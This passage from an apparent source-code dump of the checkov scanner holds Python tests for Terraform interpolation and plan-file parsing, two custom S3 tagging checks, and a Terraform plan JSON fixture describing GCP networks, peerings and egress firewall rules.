'}, evil'}", # bracket inside string, should not be split ["{'a': '}, evil'}"]), # Note: these happen with native maps (see merge tests) ('${merge({\'a\': \'}, evil\'})}', ['${merge({\'a\': \'}, evil\'})}']), ('local.common_tags,,{\'Tag4\': \'four\'},,{\'Tag2\': \'Dev\'},', ["local.common_tags", "{\'Tag4\': \'four\'}", "{\'Tag2\': \'Dev\'}"]) ] for case in cases: actual = split_merge_args(case[0]) assert actual == case[1], f"Case \"{case[0]}\" failed. Expected: {case[1]} Actual: {actual}" def test_find_var_blocks(self): cases: List[Tuple[str, List[VBM]]] = [ ( "${local.one}", [ VBM("${local.one}", "local.one") ] ), ( "${merge({a=\"b\"}, {a=[1,2], c=\"z\"}, {d=3})}", [ VBM("${merge({a=\"b\"}, {a=[1,2], c=\"z\"}, {d=3})}", "merge({a=\"b\"}, {a=[1,2], c=\"z\"}, {d=3})") ] ), ( "\"string$ ${tomap({key=\"value\"})[key]} are fun\"", [ VBM("${tomap({key=\"value\"})[key]}", "tomap({key=\"value\"})[key]") ] ), # This case highlights that inner evals should be returned ( "${filemd5(\"${path.module}/templates/some-file.json\")}", [ VBM("${path.module}", "path.module"), VBM("${filemd5(\"${path.module}/templates/some-file.json\")}", "filemd5(\"${path.module}/templates/some-file.json\")") ] ), ( "${local.NAME[foo]}-${local.TAIL}${var.gratuitous_var_default}", [ VBM("${local.NAME[foo]}", "local.NAME[foo]"), VBM("${local.TAIL}", "local.TAIL"), VBM("${var.gratuitous_var_default}", "var.gratuitous_var_default") ] ), ( "${tostring(\"annoying {\")}", [ VBM("${tostring(\"annoying {\")}", "tostring(\"annoying {\")") ] ), ( "${tostring(\"annoying }\")}", [ VBM("${tostring(\"annoying }\")}", "tostring(\"annoying }\")") ] ), ( "${this-is-unterminated", [] ), ( "${merge({\"a\": \"}, evil\"},{\"b\": \"\\\" , evil\"})}", [ VBM("${merge({\"a\": \"}, evil\"},{\"b\": \"\\\" , evil\"})}", "merge({\"a\": \"}, evil\"},{\"b\": \"\\\" , evil\"})") ] ), ( "$${foo}", # escape interpolation [] ), ( '${merge({\'a\': \'}, evil\'})}', [ VBM('${merge({\'a\': \'}, evil\'})}', 'merge({\'a\': \'}, evil\'})') ] ), # Ordered returning of sub-vars and then outer var. ( "${merge(local.common_tags,local.common_data_tags,{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}", [ VBM("local.common_tags", "local.common_tags"), VBM("local.common_data_tags", "local.common_data_tags"), VBM("${var.ENVIRONMENT}", "var.ENVIRONMENT"), VBM("${var.REGION}", "var.REGION"), VBM("${merge(local.common_tags,local.common_data_tags,{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}", "merge(local.common_tags,local.common_data_tags,{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})") ] ), ( "${merge(${local.common_tags},${local.common_data_tags},{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}", [ VBM("${local.common_tags}", "local.common_tags"), VBM("${local.common_data_tags}", "local.common_data_tags"), VBM("${var.ENVIRONMENT}", "var.ENVIRONMENT"), VBM("${var.REGION}", "var.REGION"), VBM("${merge(${local.common_tags},${local.common_data_tags},{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}", "merge(${local.common_tags},${local.common_data_tags},{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})") ] ), ( '${merge(var.tags, map("Name", "${var.name}", "data_classification", "none"))}', [ VBM("var.tags", "var.tags"), VBM("${var.name}", "var.name"), VBM('map("Name", "${var.name}", "data_classification", "none")', 'map("Name", "${var.name}", "data_classification", "none")'), VBM('${merge(var.tags, map("Name", "${var.name}", "data_classification", "none"))}', 'merge(var.tags, map("Name", "${var.name}", "data_classification", "none"))') ] ), # Ternaries ( '${var.metadata_http_tokens_required ? "required" : "optional"}', [ VBM('var.metadata_http_tokens_required', 'var.metadata_http_tokens_required'), VBM('${var.metadata_http_tokens_required ? "required" : "optional"}', 'var.metadata_http_tokens_required ? "required" : "optional"') ] ), ( '${1 + 1 == 2 ? "required" : "optional"}', [ VBM('1 + 1 == 2', '1 + 1 == 2'), VBM('${1 + 1 == 2 ? "required" : "optional"}', '1 + 1 == 2 ? "required" : "optional"') ] ), ( '${true ? "required" : "optional"}', [ VBM('${true ? "required" : "optional"}', 'true ? "required" : "optional"') ] ), ( '${false ? "required" : "optional"}', [ VBM('${false ? "required" : "optional"}', 'false ? "required" : "optional"') ] ), # TODO: var -> comparison -> ternary # ( # '${local.empty != "" ? local.a : "default value"}', # [ # VBM("local.empty", "local.empty"), # VBM('local.empty != ""', 'local.empty != ""'), # VBM('${local.empty != "" ? local.a : "default value"}', # 'local.empty != "" ? local.a : "default value"') # ] # ) ] for case in cases: actual = find_var_blocks(case[0]) assert actual == case[1], \ f"Case \"{case[0]}\" failed ❌:\n" \ f" Expected: \n{pprint.pformat(case[1], indent=2)}\n\n" \ f" Actual: \n{pprint.pformat(actual, indent=2)}" print(f"Case \"{case[0]}: ✅") ================================================ FILE: tests/terraform/parser/test_plan_parser.py ================================================ import copy import os import unittest from pathlib import Path from typing import Any from unittest import mock import pytest from pytest_mock import MockerFixture from checkov.common.util.consts import TRUE_AFTER_UNKNOWN from checkov.terraform.plan_parser import parse_tf_plan, _sanitize_count_from_name, _handle_complex_after_unknown, \ _update_after_unknown_in_complex_types from checkov.common.parsers.node import StrNode class TestPlanFileParser(unittest.TestCase): def test_tags_values_are_flattened(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_tags/tfplan.json" tf_definition, _ = parse_tf_plan(valid_plan_path, {}) file_resource_definition = tf_definition['resource'][0] resource_definition = next(iter(file_resource_definition.values())) resource_attributes = next(iter(resource_definition.values())) resource_tags = resource_attributes['tags'][0] for tag_key, tag_value in resource_tags.items(): if tag_key not in ['__startline__', '__endline__', '__file__', 'start_line', 'end_line']: self.assertIsInstance(tag_value, StrNode) def test_provider_is_included(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_tags/tfplan.json" tf_definition, _ = parse_tf_plan(valid_plan_path, {}) file_provider_definition = tf_definition['provider'] self.assertTrue(file_provider_definition) # assert a provider exists assert file_provider_definition[0].get('aws', {}).get('region', None) == ['us-west-2'] def test_plan_multiple_providers(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_multiple_providers/tfplan.json" tf_definition, _ = parse_tf_plan(valid_plan_path, {}) providers = tf_definition['provider'] self.assertEqual(len(providers), 3) provider_names = [] provider_aliases = [] provider_addresses = [] for provider in providers: key = next(iter(provider)) provider_names.append(key) provider_aliases.append(provider[key]['alias'][0]) provider_addresses.append(provider[key]['__address__']) self.assertEqual(provider_names, ["aws", "aws", "aws"]) self.assertEqual(provider_aliases, ["default", "ohio", "oregon"]) self.assertEqual(provider_addresses, ["aws.default", "aws.ohio", "aws.oregon"]) def test_more_tags_values_are_flattened(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_tags_variety/tfplan.json" tf_definition, _ = parse_tf_plan(valid_plan_path, {}) # TODO: this should also verify the flattening but at least shows it parses now. assert True # Check Plan Booleans are treated similar to normal Terraform Parser # https://github.com/bridgecrewio/checkov/issues/1764 def test_simple_type_booleans_clean(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_booleans/tfplan.json" tf_definition, _ = parse_tf_plan(valid_plan_path, {}) file_resource_definition = tf_definition['resource'][0] resource_definition = next(iter(file_resource_definition.values())) resource_attributes = next(iter(resource_definition.values())) self.assertTrue(resource_attributes['metadata'][0]['a'][0]) self.assertTrue(resource_attributes['metadata'][0]['b'][0]) self.assertFalse(resource_attributes['metadata'][0]['c'][0]) self.assertFalse(resource_attributes['metadata'][0]['d'][0]) def test_encodings(self): current_dir = os.path.dirname(os.path.realpath(__file__)) plan_files = ['tfplan_mac_utf8.json', 'tfplan_win_utf8.json', 'tfplan_win_utf16.json'] for plan_file in plan_files: plan_path = os.path.join(current_dir, "resources", "plan_encodings", plan_file) tf_definition, _ = parse_tf_plan(plan_path, {}) self.assertEqual(list(tf_definition['resource'][0].keys())[0], "aws_s3_bucket") def test_provisioners(self): current_dir = os.path.dirname(os.path.realpath(__file__)) plan_files = ['tfplan.json', 'tfplan2.json'] for file in plan_files: valid_plan_path = current_dir + "/resources/plan_provisioners/" + file tf_definition, _ = parse_tf_plan(valid_plan_path, {}) file_resource_definition = tf_definition['resource'][0] resource_definition = next(iter(file_resource_definition.values())) resource_attributes = next(iter(resource_definition.values())) self.assertTrue(resource_attributes['provisioner']) def test_module_with_connected_resources(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_module_with_connected_resources/tfplan.json" tf_definition, _ = parse_tf_plan(valid_plan_path, {}) file_resource_definition = tf_definition['resource'][1] resource_definition = next(iter(file_resource_definition.values())) resource_attributes = next(iter(resource_definition.values())) self.assertTrue(resource_attributes['references_']) @mock.patch.dict(os.environ, {"EVAL_TF_PLAN_AFTER_UNKNOWN": "True"}) def test_after_unknown_handling(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_after_unknown/tfplan.json" tf_definition, _ = parse_tf_plan(valid_plan_path, {}) file_resource_definition = tf_definition['resource'][0] resource_definition = next(iter(file_resource_definition.values())) resource_attributes = next(iter(resource_definition.values())) self.assertEqual(resource_attributes['logging_config'][0]["bucket"], [TRUE_AFTER_UNKNOWN]) def test___sanitize_count_from_name_with_count(self): name = "aws_s3_bucket.bucket[0]" result = _sanitize_count_from_name(name) self.assertEqual(result, "aws_s3_bucket.bucket") name = "aws_s3_bucket.bucket" result = _sanitize_count_from_name(name) self.assertEqual(result, "aws_s3_bucket.bucket") def test_handle_complex_after_unknown(self): resource = { "tags": [ [ { "custom_tags": [ {"key": "Tag1", "value": "Value1"}, {"key": "Tag2", "value": "Value2"} ] } ] ] } key: str = 'tags' value: list = [ { 'custom_tags': [ {"key": "Tag1", "value": "Value1"}, {"key": "Tag2", "value": "Value2"} ] } ] _handle_complex_after_unknown(key, resource, value) assert resource["tags"] == [value] def test_handle_complex_after_unknown_with_empty_list(self): resource = {"network_configuration": [ { "endpoint_configuration": [ ] } ]} key: str = 'network_configuration' value = [{"endpoint_configuration": []}] _handle_complex_after_unknown(key, resource, value) assert resource == {'network_configuration': [{"endpoint_configuration": []}]} def test_handle_complex_after_unknown_with_some_known_values(self): original_resource = { "tags": [ {"tag1": "my_tag"}, {"tag2": "true"}, ] } _update_after_unknown_in_complex_types("tags", original_resource) assert original_resource == { "tags": [ {"tag1": "my_tag"}, {"tag2": ["true_after_unknown"]}, ] } @pytest.mark.parametrize("inner_key, k, is_inner_list", [ ("endpoint_configuration", "network_configuration", False), ("endpoint_configuration", "network_configuration", True) ]) def test_handle_complex_after_unknown(inner_key: str, k: str, is_inner_list: bool) -> None: if is_inner_list: # We cannot parametrize a dict object, so we use a boolean to decide which conf to use resource_conf = {'network_configuration': [[{"endpoint_configuration": []}]]} else: resource_conf = {'network_configuration': [{"endpoint_configuration": []}]} value = [{"endpoint_configuration": []}] resource_conf_copy = copy.deepcopy(resource_conf) _handle_complex_after_unknown(k, resource_conf, value) assert resource_conf == resource_conf_copy def test_large_file(mocker: MockerFixture): # given test_file = Path(__file__).parent / "resources/plan_encodings/tfplan_mac_utf8.json" mocker.patch("checkov.cloudformation.parser.cfn_yaml.MAX_IAC_FILE_SIZE", 1) # when tf_definition, _ = parse_tf_plan(str(test_file), {}) assert tf_definition['resource'][0]['aws_s3_bucket']['b']['start_line'][0] == 0 assert tf_definition['resource'][0]['aws_s3_bucket']['b']['end_line'][0] == 0 def test_vpc_endpoint_policy_is_parsed(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_plan_path = current_dir + "/resources/plan_vpc_endpoint/tfplan.json" tf_definition, _ = parse_tf_plan(valid_plan_path, {}) file_resource_definition = tf_definition['resource'][0] resource_definition = next(iter(file_resource_definition.values())) resource_attributes = next(iter(resource_definition.values())) self.assertIn('policy', resource_attributes) policy = resource_attributes['policy'][0] self.assertIn('Statement', policy) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/runner/__init__.py ================================================ ================================================ FILE: tests/terraform/runner/extra_checks/S3EnvironmentCheck.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class S3EnvironmentCheck(BaseResourceCheck): def __init__(self): name = "Ensure s3 has environment tag of development/staging/production" id = "CUSTOM_AWS_1" supported_resources = ['aws_s3_bucket'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get("tags") and isinstance(conf['tags'][0], dict): env = conf["tags"][0].get("Environment",{}) if env in ["Development","Staging","Production"]: return CheckResult.PASSED return CheckResult.FAILED scanner = S3EnvironmentCheck() ================================================ FILE: tests/terraform/runner/extra_checks/__init__.py ================================================ ================================================ FILE: tests/terraform/runner/extra_checks/nested/S3EnvironmentCheck2.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class S3EnvironmentCheck(BaseResourceCheck): def __init__(self): name = "Ensure s3 has environment tag of development/staging/production" id = "CUSTOM_AWS_2" supported_resources = ['aws_s3_bucket'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get("tags") and isinstance(conf['tags'][0], dict): env = conf["tags"][0].get("Environment",{}) if env in ["Development","Staging","Production"]: return CheckResult.PASSED return CheckResult.FAILED scanner = S3EnvironmentCheck() ================================================ FILE: tests/terraform/runner/extra_checks/nested/__init__.py ================================================ ================================================ FILE: tests/terraform/runner/extra_tf_plan_checks/__init__.py ================================================ ================================================ FILE: tests/terraform/runner/extra_tf_plan_checks/modules.json ================================================ { "format_version": "0.1", "terraform_version": "0.13.7", "planned_values": { "root_module": { "resources": [ { "address": "google_compute_network.achia_test_nonpeered_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_nonpeered_network", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "auto_create_subnetworks": true, "delete_default_routes_on_create": false, "description": null, "name": "achia_test-nonpeered-network", "timeouts": null } }, { "address": "google_compute_network.achia_test_peered_nonwss_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_peered_nonwss_network", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "auto_create_subnetworks": true, "delete_default_routes_on_create": false, "description": null, "name": "achia_test-peered-nonwss-network", "timeouts": null } }, { "address": "google_compute_network.achia_test_peered_wss_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_peered_wss_network", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "auto_create_subnetworks": true, "delete_default_routes_on_create": false, "description": null, "name": "achia_test-peered-wss-network", "timeouts": null } }, { "address": "google_compute_network_peering.achia_test_network_peering_from_nonwss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_from_nonwss", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-from-nonwss", "network": "https://www.achia.com11111", "timeouts": null } }, { "address": "google_compute_network_peering.achia_test_network_peering_from_wss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_from_wss", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-from-wss", "network": "https://www.achia.com11111", "timeouts": null } }, { "address": "google_compute_network_peering.achia_test_network_peering_to_nonwss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_to_nonwss", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-to-nonwss", "peer_network": "https://www.achia.com11111", "timeouts": null } }, { "address": "google_compute_network_peering.achia_test_network_peering_to_wss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_to_wss", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-to-wss", "peer_network": "https://www.achia.com11111", "timeouts": null } } ], "child_modules": [ { "resources": [ { "address": "module.achia_test_valid_443.google_compute_firewall.custom[0]", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 1, "values": { "allow": [ { "ports": [ "443" ], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-valid-port443-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null } } ], "address": "module.achia_test_valid_443" }, { "resources": [ { "address": "module.achia_test_valid_ports.google_compute_firewall.custom[0]", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 1, "values": { "allow": [ { "ports": [ "80", "443" ], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-valid-port80and443-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null } } ], "address": "module.achia_test_valid_ports" }, { "resources": [ { "address": "module.achia_test_violating_no_ports.google_compute_firewall.custom[0]", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 1, "values": { "allow": [ { "ports": [], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-all-ports-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null } } ], "address": "module.achia_test_violating_no_ports" }, { "resources": [ { "address": "module.achia_test_violating_port.google_compute_firewall.custom[0]", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 1, "values": { "allow": [ { "ports": [ "80", "443", "3600" ], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-violating-port3600-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null } } ], "address": "module.achia_test_violating_port" } ] } }, "resource_changes": [ { "address": "google_compute_network.achia_test_nonpeered_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_nonpeered_network", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "auto_create_subnetworks": true, "delete_default_routes_on_create": false, "description": null, "name": "achia_test-nonpeered-network", "timeouts": null }, "after_unknown": { "gateway_ipv4": true, "id": true, "mtu": true, "project": true, "routing_mode": true, "self_link": true } } }, { "address": "google_compute_network.achia_test_peered_nonwss_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_peered_nonwss_network", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "auto_create_subnetworks": true, "delete_default_routes_on_create": false, "description": null, "name": "achia_test-peered-nonwss-network", "timeouts": null }, "after_unknown": { "gateway_ipv4": true, "id": true, "mtu": true, "project": true, "routing_mode": true, "self_link": true } } }, { "address": "google_compute_network.achia_test_peered_wss_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_peered_wss_network", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "auto_create_subnetworks": true, "delete_default_routes_on_create": false, "description": null, "name": "achia_test-peered-wss-network", "timeouts": null }, "after_unknown": { "gateway_ipv4": true, "id": true, "mtu": true, "project": true, "routing_mode": true, "self_link": true } } }, { "address": "google_compute_network_peering.achia_test_network_peering_from_nonwss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_from_nonwss", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-from-nonwss", "network": "https://www.achia.com11111", "timeouts": null }, "after_unknown": { "id": true, "peer_network": true, "state": true, "state_details": true } } }, { "address": "google_compute_network_peering.achia_test_network_peering_from_wss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_from_wss", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-from-wss", "network": "https://www.achia.com11111", "timeouts": null }, "after_unknown": { "id": true, "peer_network": true, "state": true, "state_details": true } } }, { "address": "google_compute_network_peering.achia_test_network_peering_to_nonwss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_to_nonwss", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-to-nonwss", "peer_network": "https://www.achia.com11111", "timeouts": null }, "after_unknown": { "id": true, "network": true, "state": true, "state_details": true } } }, { "address": "google_compute_network_peering.achia_test_network_peering_to_wss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_to_wss", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-to-wss", "peer_network": "https://www.achia.com11111", "timeouts": null }, "after_unknown": { "id": true, "network": true, "state": true, "state_details": true } } }, { "address": "module.achia_test_valid_443.google_compute_firewall.custom[0]", "module_address": "module.achia_test_valid_443", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "allow": [ { "ports": [ "443" ], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-valid-port443-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null }, "after_unknown": { "allow": [ { "ports": [ false ] } ], "creation_timestamp": true, "deny": [], "destination_ranges": [ false ], "enable_logging": true, "id": true, "log_config": [ {} ], "self_link": true, "source_ranges": true } } }, { "address": "module.achia_test_valid_ports.google_compute_firewall.custom[0]", "module_address": "module.achia_test_valid_ports", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "allow": [ { "ports": [ "80", "443" ], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-valid-port80and443-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null }, "after_unknown": { "allow": [ { "ports": [ false, false ] } ], "creation_timestamp": true, "deny": [], "destination_ranges": [ false ], "enable_logging": true, "id": true, "log_config": [ {} ], "self_link": true, "source_ranges": true } } }, { "address": "module.achia_test_violating_no_ports.google_compute_firewall.custom[0]", "module_address": "module.achia_test_violating_no_ports", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "allow": [ { "ports": [], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-all-ports-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null }, "after_unknown": { "allow": [ { "ports": [] } ], "creation_timestamp": true, "deny": [], "destination_ranges": [ false ], "enable_logging": true, "id": true, "log_config": [ {} ], "self_link": true, "source_ranges": true } } }, { "address": "module.achia_test_violating_port.google_compute_firewall.custom[0]", "module_address": "module.achia_test_violating_port", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "allow": [ { "ports": [ "80", "443", "3600" ], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-violating-port3600-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null }, "after_unknown": { "allow": [ { "ports": [ false, false, false ] } ], "creation_timestamp": true, "deny": [], "destination_ranges": [ false ], "enable_logging": true, "id": true, "log_config": [ {} ], "self_link": true, "source_ranges": true } } } ], "configuration": { "root_module": { "resources": [ { "address": "google_compute_network.achia_test_nonpeered_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_nonpeered_network", "provider_config_key": "google", "expressions": { "name": { "constant_value": "achia_test-nonpeered-network" } }, "schema_version": 0 }, { "address": "google_compute_network.achia_test_peered_nonwss_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_peered_nonwss_network", "provider_config_key": "google", "expressions": { "name": { "constant_value": "achia_test-peered-nonwss-network" } }, "schema_version": 0 }, { "address": "google_compute_network.achia_test_peered_wss_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_peered_wss_network", "provider_config_key": "google", "expressions": { "name": { "constant_value": "achia_test-peered-wss-network" } }, "schema_version": 0 }, { "address": "google_compute_network_peering.achia_test_network_peering_from_nonwss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_from_nonwss", "provider_config_key": "google", "expressions": { "name": { "constant_value": "fake-network-peering-from-nonwss" }, "network": { "constant_value": "https://www.achia.com11111" }, "peer_network": { "references": [ "google_compute_network.achia_test_peered_nonwss_network" ] } }, "schema_version": 0 }, { "address": "google_compute_network_peering.achia_test_network_peering_from_wss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_from_wss", "provider_config_key": "google", "expressions": { "name": { "constant_value": "fake-network-peering-from-wss" }, "network": { "constant_value": "https://www.achia.com11111" }, "peer_network": { "references": [ "google_compute_network.achia_test_peered_wss_network" ] } }, "schema_version": 0 }, { "address": "google_compute_network_peering.achia_test_network_peering_to_nonwss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_to_nonwss", "provider_config_key": "google", "expressions": { "name": { "constant_value": "fake-network-peering-to-nonwss" }, "network": { "references": [ "google_compute_network.achia_test_peered_nonwss_network" ] }, "peer_network": { "constant_value": "https://www.achia.com11111" } }, "schema_version": 0 }, { "address": "google_compute_network_peering.achia_test_network_peering_to_wss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_to_wss", "provider_config_key": "google", "expressions": { "name": { "constant_value": "fake-network-peering-to-wss" }, "network": { "references": [ "google_compute_network.achia_test_peered_wss_network" ] }, "peer_network": { "constant_value": "https://www.achia.com11111" } }, "schema_version": 0 } ], "module_calls": { "achia_test_valid_443": { "source": "tfe.mayo.edu/mcc/m-network-firewall/google", "expressions": { "action": { "constant_value": "allow" }, "description": { "constant_value": "gcp-wss-tcp-allow" }, "direction": { "constant_value": "EGRESS" }, "extra_attributes": { "constant_value": { "enable_logging": true, "priority": 1000 } }, "fw_destination": { "constant_value": "wss" }, "fw_purpose": { "constant_value": "valid-port443" }, "fw_source": { "constant_value": "egress" }, "network": { "references": [ "google_compute_network.achia_test_peered_wss_network" ] }, "project_id": { "constant_value": "fake-id" }, "ranges": { "constant_value": [ "0.0.0.0/0" ] }, "rules": { "constant_value": [ { "ports": [ 443 ], "protocol": 